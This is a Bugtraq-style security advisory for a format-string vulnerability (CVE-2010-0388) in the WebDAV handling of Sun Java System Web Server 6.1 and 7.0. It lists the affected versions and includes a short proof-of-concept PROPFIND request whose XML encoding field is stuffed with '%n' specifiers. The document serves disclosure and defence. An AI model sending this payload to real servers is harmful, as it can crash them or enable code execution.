Sun Java System Web Server WebDAV Format String Vulnerability

BID:37910

Info

Sun Java System Web Server WebDAV Format String Vulnerability

Bugtraq ID: 37910
Class: Input Validation Error
CVE: CVE-2010-0388
Remote: Yes
Local: No
Published: Jan 22 2010 12:00AM
Updated: Apr 13 2015 09:03PM
Credit: Intevydis
Vulnerable: Sun Java System Web Server 6.1 SP9
Sun Java System Web Server 6.1 SP8
Sun Java System Web Server 6.1 SP7
Sun Java System Web Server 6.1 SP6
Sun Java System Web Server 6.1 SP5
Sun Java System Web Server 6.1 SP4
Sun Java System Web Server 6.1 SP3
Sun Java System Web Server 6.1 SP2
Sun Java System Web Server 6.1 SP11
Sun Java System Web Server 6.1 SP10
Sun Java System Web Server 6.1 SP1
Sun Java System Web Server 6.1
Sun Java System Web Server 7.0 Update 7
Sun Java System Web Server 7.0 Update 6
Sun Java System Web Server 7.0 Update 3
Sun Java System Web Server 7.0 Update 2
Sun Java System Web Server 7.0 Update 1
Sun Java System Web Server 6.1
Not Vulnerable:

Discussion

Sun Java System Web Server WebDAV Format String Vulnerability

Sun Java System Web Server is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input. The issue affects the WebDAV functionality.

Currently very few technical details are available. We will update this BID as more information emerges.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The issues affects the following:

Sun Java System Web Server 7.0 without Update Release 8
Sun Java System Web Server 6.1 without Service Pack 12

Exploit / POC

Sun Java System Web Server WebDAV Format String Vulnerability

The following example request is available:

s="PROPFIND /pages/ HTTP/1.1\n" # WebDAV URI
s+="Host: localhost\n"
s+="Depth: 0\n"
s+="Content-Length: 58\n"
s+="Content-Type: application/xml\n\n"
s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>"

Solution / Fix

Sun Java System Web Server WebDAV Format String Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

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